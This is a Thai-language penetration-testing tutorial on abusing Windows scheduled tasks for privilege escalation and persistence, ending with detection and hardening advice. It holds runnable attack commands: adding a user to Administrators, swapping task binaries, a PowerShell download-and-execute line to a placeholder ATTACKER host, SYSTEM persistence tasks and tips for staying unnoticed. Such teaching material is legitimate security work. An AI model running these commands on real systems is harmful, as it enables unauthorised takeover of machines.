Scheduled Tasks
Scheduled Tasks คืองานที่ Windows Task Scheduler รันตามเวลา/เงื่อนไข หลาย task รันด้วยสิทธิ์ <strong>SYSTEM</strong> หรือ admin ถ้า task เรียก binary/script/DLL ที่เราเขียนทับได้ (weak permission) เราก็ยกระดับเป็นสิทธิ์ที่ task รันได้ (privesc) หรือใช้เป็น persistence บทนี้ลงลึกการ enumerate task, การอ่าน run-as + action, การตรวจ permission ด้วย accesschk/icacls, การ abuse ทั้ง writable binary / writable folder / argument injection, คำสั่ง at เดิม, การตรวจจับและป้องกัน (เนื้อหาเพื่อฝึกในระบบที่ได้รับอนุญาตเท่านั้น)
1. หลักการ — ทำไม task เปิดช่อง privesc
Scheduled task ทำงานเทียบได้กับ cron บน Linux — รันตามเวลา/event/logon โดยแต่ละ task ระบุ Principal (run-as) ว่าจะรันด้วยบัญชีใด และ Action ว่าจะรัน binary/script อะไร ช่องโหว่เกิดเมื่อ task รันด้วยสิทธิ์สูง (SYSTEM/admin) แต่ไฟล์หรือโฟลเดอร์ที่ task เรียก เรามีสิทธิ์เขียน — เราแทนที่ด้วย payload แล้วรอ task รัน (หรือ trigger) → payload รันด้วยสิทธิ์ของ task
2. Enumeration — list task + run-as + action
# list task ทั้งหมดแบบ verbose (เห็น Run As + Task To Run)
schtasks /query /fo LIST /v
# กรองเฉพาะฟิลด์สำคัญ
schtasks /query /fo LIST /v | findstr /i "TaskName Run As User Task To Run"
# PowerShell — เห็น principal + action ชัดกว่า
Get-ScheduledTask | Where-Object {$_.Principal.UserId -match "SYSTEM|Administrator"} |
Select-Object TaskName, TaskPath, @{n='RunAs';e={$_.Principal.UserId}}
# ดู action (binary/args) ของ task เจาะจง
(Get-ScheduledTask -TaskName "BackupJob").Actions | Format-List *
# ไฟล์ XML ของ task (มี Command/Arguments เต็ม) อยู่ที่
# C:\Windows\System32\Tasks\<TaskName>
type C:\Windows\System32\Tasks\BackupJobC:\Program Files\.. หรือ C:\Scripts\.. ที่บางครั้ง ACL หลวม — ตรงข้ามกับ task ในตัว Windows ที่ ACL มักแน่น3. ตรวจ permission ของไฟล์/โฟลเดอร์ที่ task เรียก
# ตรวจว่าเราเขียนไฟล์ที่ task เรียกได้ไหม (accesschk - Sysinternals)
accesschk.exe -accepteula -quvw "C:\Scripts\cleanup.bat"
# มองหา RW/W ให้ Everyone / Authenticated Users / กลุ่มที่เราอยู่
# icacls (มีมากับ Windows — ไม่ต้องนำ tool เข้า)
icacls "C:\Scripts\cleanup.bat"
# (F)=Full (M)=Modify (W)=Write → BUILTIN\Users:(M) = เขียนได้!
# ตรวจทั้งโฟลเดอร์ (เผื่อลบ/สร้างไฟล์ใหม่แทนได้)
icacls "C:\Scripts"
accesschk.exe -accepteula -quvd "C:\Scripts"
# หา binary ที่ task เรียกทั้งระบบแล้วตรวจ writable อัตโนมัติ (winPEAS ทำให้)
# winPEAS: มองหมวด "Scheduled Applications --Non Microsoft--"| สิ่งที่เจอ | ช่องทาง abuse |
|---|---|
| ไฟล์ script/binary เขียนได้ (M/W/F) | แทนที่เนื้อไฟล์ด้วย payload |
| โฟลเดอร์เขียนได้ แต่ไฟล์เขียนไม่ได้ | ลบไฟล์เดิม → สร้างใหม่ชื่อเดิม |
| binary โหลด DLL ที่หาไม่เจอ | DLL hijacking วาง DLL ใน path ค้นหา |
| task ส่ง argument จาก path ที่คุมได้ | argument / path injection |
| task XML เขียนได้ | แก้ Command ชี้ payload ตรง ๆ |
4. Abuse — แทนที่ writable task binary/script
# กรณี A: script (.bat/.ps1) เขียนได้ → append/แทน payload
echo net localgroup administrators lowpriv /add >> C:\Scripts\cleanup.bat
# หรือ reverse shell:
echo powershell -e <base64-payload> >> C:\Scripts\cleanup.bat
# กรณี B: .exe เขียนได้ → แทนด้วย payload exe (สำรองของเดิมไว้ก่อน)
copy C:\Tasks\run.exe C:\Tasks\run.exe.bak
copy C:\Temp\payload.exe C:\Tasks\run.exe
# trigger task (ถ้ามีสิทธิ์สั่ง) หรือรอถึงเวลา
schtasks /run /tn "BackupJob"
# ตรวจผล
net localgroup administrators
whoami /groups | findstr /i "S-1-5-32-544" # อยู่ใน Administrators แล้ว?# ไฟล์เขียนไม่ได้ แต่โฟลเดอร์เขียนได้ (มีสิทธิ์ Delete/Create ใน folder)
del C:\Scripts\cleanup.bat
echo net localgroup administrators lowpriv /add > C:\Scripts\cleanup.bat
schtasks /run /tn "BackupJob"
# reverse shell กลับ (nc listener ฝั่งเรา: nc -lvnp 443)
# payload.ps1: IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/rev.ps1')5. สร้าง task เอง (persistence) + at เดิม
# สร้าง task รันเป็น SYSTEM ทุก logon (ต้องมี admin แล้ว — persistence)
schtasks /create /tn "Updater" /tr "C:\Temp\payload.exe" \
/sc onlogon /ru SYSTEM /f
# รันทุก 5 นาที
schtasks /create /tn "Beacon" /tr "C:\Temp\b.exe" /sc minute /mo 5 /ru SYSTEM
# คำสั่ง at เดิม (Windows เก่า / บาง lab) — รันเป็น SYSTEM เสมอ
at 13:00 C:\Temp\payload.exe # (legacy, ปิดใน Windows ใหม่)
# ลบ task
schtasks /delete /tn "Updater" /f6. Decision Flow
7. การตรวจจับ & OPSEC
| สัญญาณ | ตรวจที่ไหน | หมายเหตุ |
|---|---|---|
| สร้าง/แก้ scheduled task | Event 4698 / 4702 | task ใหม่หรือถูกแก้ไข |
| task ถูกลบ | Event 4699 | ลบเพื่อ cleanup |
| task ถูก trigger | Event 4700/4701 / 200-201 (TaskScheduler/Operational) | run/enable |
| ไฟล์ที่ task เรียกถูกแก้ | file integrity monitoring | hash เปลี่ยน |
| process แปลก spawn จาก svchost/taskeng | Sysmon Event 1 | payload.exe จาก task |
- OPSEC: สำรองไฟล์เดิมและคืนค่าหลัง trigger เพื่อลดร่องรอย (task กลับมาทำงานปกติ)
- OPSEC: ตั้งชื่อ task ที่สร้างให้ดูปกติ (เลี่ยงชื่อชัด ๆ อย่าง 'backdoor')
- OPSEC: การ append คำสั่ง add admin ลง script ที่คนเห็นได้ = ถูกตรวจง่าย; พิจารณา reverse shell แทน
8. Blue Team — การป้องกัน
- เข้มงวด ACL: ไฟล์/โฟลเดอร์ที่ scheduled task เรียกต้องเขียนได้เฉพาะ admin/SYSTEM — ตรวจด้วย accesschk เป็นระยะ
- ใช้ full path + quote: action ควรระบุ path เต็มและใส่ quote (ลด argument/unquoted path injection)
- ลด task ที่รันเป็น SYSTEM: ใช้ least-privilege service account แทน SYSTEM ถ้าเป็นไปได้
- Monitor Event 4698/4702 การสร้าง/แก้ task โดยเฉพาะที่ run-as SYSTEM
- Application allowlisting (WDAC/AppLocker): จำกัด binary ที่รันได้ แม้ไฟล์ถูกแทน
- File integrity monitoring บน script/binary ที่ task สำคัญเรียก
9. Walkthrough — CTF & real engagement
- 1ได้ shell เป็น user ธรรมดา → รัน winPEAS หรือ schtasks /query /fo LIST /v
- 2พบ task 'SystemBackup' รันเป็น SYSTEM ทุก 5 นาที เรียก C:\Scripts\backup.bat
- 3icacls C:\Scripts\backup.bat → BUILTIN\Users:(M) = เขียนได้
- 4สำรอง: copy backup.bat backup.bat.bak
- 5echo net localgroup administrators pentester /add >> C:\Scripts\backup.bat
- 6รอ 5 นาที (หรือ schtasks /run /tn SystemBackup ถ้ามีสิทธิ์)
- 7net localgroup administrators → เห็น pentester → ยกระดับสำเร็จ
- 8คืนไฟล์เดิม: copy /y backup.bat.bak backup.bat และรายงานใน engagement
10. ข้อผิดพลาดที่พบบ่อย & แก้ปัญหา
- ไม่ตรวจ run-as: แทนไฟล์ของ task ที่รันเป็น user ธรรมดา = ไม่ได้ privesc — ต้องเป็น SYSTEM/admin
- ตรวจ permission ผิดตัว: ต้องตรวจไฟล์ 'ที่ task เรียกจริง' (จาก Actions/XML) ไม่ใช่ตัว task เอง
- ไม่มีสิทธิ์ /run: user ธรรมดา trigger task ของ SYSTEM ไม่ได้ — ต้องรอถึงเวลา schedule
- AV จับ payload: .exe/.ps1 payload ตรง ๆ อาจโดน AV — ใช้ LOLBin หรือ obfuscation ตามขอบเขตที่อนุญาต
- ลืมคืนไฟล์: task พังเพราะ script ถูกแทน — สำรองและคืนค่าเดิมเสมอ
- path มี space ไม่ quote: ถ้า action เป็น C:\Program Files\... โดยไม่ quote อาจเป็น unquoted path (ดู Unquoted Service Path) แทน
11. Quick Reference
- scheduled task รันตามเวลา มัก SYSTEM (คล้าย cron)
- list:
schtasks /query /fo LIST /v; PowerShell Get-ScheduledTask - run-as SYSTEM: where Principal.UserId -eq SYSTEM; XML ที่ C:\Windows\System32\Tasks
- ตรวจ perm:
accesschk -quvw file/icacls file(มองหา M/W/F) - abuse: แทน payload ในไฟล์ที่ task เรียก → schtasks /run /tn ... (หรือรอ)
- ไฟล์เขียนไม่ได้ แต่โฟลเดอร์ได้ → ลบ+สร้างใหม่; หรือ DLL hijack
- persistence:
schtasks /create /ru SYSTEM /sc onlogon - ป้องกัน: ACL แน่น, full path+quote, monitor Event 4698/4702, AppLocker
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติ enum เจอ scheduled task ที่น่าสงสัย มีแค่ Kali ทำตามนี้ทีละขั้น
- 1list task ทั้งหมด: schtasks /query /fo LIST /v แล้วกรอง findstr /i "TaskName Run As User Task To Run"
- 2ถ้ามี winPEAS รันด้วย (.\wp.exe quiet cmd fast) จะช่วย highlight หมวด Scheduled Applications ให้
- 3หา task ที่ Run As = SYSTEM/Administrator แล้วดู action ที่มันเรียก (path ของ binary/script)
- 4ตรวจ permission ของไฟล์นั้น: icacls "C:\Scripts\cleanup.bat" มองหา (M)/(W)/(F) ให้กลุ่มเรา
- 5ถ้าเขียนได้ สำรองไฟล์เดิมก่อน: copy cleanup.bat cleanup.bat.bak
- 6append payload: echo net localgroup administrators
/add >> cleanup.bat - 7trigger task ทันที (ถ้ามีสิทธิ์): schtasks /run /tn "TaskName" หรือรอตามเวลา
- 8เช็คผล: net localgroup administrators
- 9ถ้าไฟล์เขียนไม่ได้แต่โฟลเดอร์เขียนได้ ให้ลบไฟล์เดิมแล้วสร้างใหม่ชื่อเดิมด้วย payload แทน
- 10ถ้าไม่มี task ไหนเขียนได้เลย ให้ไปเช็ค Windows Services หรือ DLL hijacking ของ binary ที่ task เรียกแทน
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| list/ดู scheduled task | schtasks / PowerShell | - | - |
| enum อัตโนมัติ | winPEAS | - | winpeas (GitHub release PEASS-ng) |
| ตรวจ writable file/folder | icacls / accesschk.exe | - | - |
| ส่ง payload/tool เข้าเป้าหมาย | python3 -m http.server | - | - |
| สร้าง reverse shell payload | msfvenom | - | revshells.com |
| เข้า shell ถ้ามี creds แล้ว | evil-winrm / impacket-wmiexec | pipx install impacket | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้